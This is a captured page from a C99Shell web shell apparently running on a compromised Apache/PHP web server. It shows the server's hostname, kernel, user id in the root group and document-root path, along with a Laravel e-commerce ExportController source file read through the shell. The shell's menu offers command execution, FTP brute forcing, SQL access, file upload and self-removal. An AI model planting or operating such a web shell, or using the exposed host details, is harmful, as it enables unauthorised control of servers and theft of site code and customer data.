!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-163-generic #173-Ubuntu SMP Tue Oct 14 17:51:00 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/ecom1.picotech.app/public_html_ecom1/app/Http/Controllers/   drwxr-xr-x
Free 23.6 GB of 117.98 GB (20%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     ExportController.php (1.7 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 * @package ExportController
 * @author TechVillage <support@techvill.org>
 * @contributor Sakawat Hossain Rony <[sakawat.techvill@gmail.com]>
 * @created 26-01-2023
 */
namespace App\Http\Controllers;

use 
App\Models\{ProductProductCategory};
use 
App\Services\Export\ProductExportService;
use 
Illuminate\Http\Request;

class 
ExportController extends Controller
{
    public function 
index()
    {
        return 
view('admin.epz.export.index');
    }

    
/**
     * product export
     *
     * @param Request $request
     * @return \Illuminate\Contracts\Foundation\Application|\Illuminate\Contracts\View\Factory|\Illuminate\Contracts\View\View|\Illuminate\Http\RedirectResponse|mixed
     */
    
public function productExport(Request $request)
    {
        if (
$request->isMethod('get')) {
            
$data['productCategories'] = ProductCategory::join("categories""product_categories.category_id""categories.id")
                ->
join("products""products.id""product_categories.product_id")
                ->
selectRaw("categories.name, categories.id")
                ->
distinct()
                ->
get();

            
$data['productVendors'] = Product::select('vendor_id')->distinct()->with('vendor:id,name')->get();
            
$data['columns'] = getProductExportColumn();

            return 
view('admin.epz.export.product'$data);
        }

        
$export = new ProductExportService($request);

        if (!
$export->process()) {
            
$response $this->messageArray($export->getError(), 'fail');
            
$this->setSessionValue($response);

            return 
redirect()->back();
        }

        return 
$export->getResponse();
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0037 ]--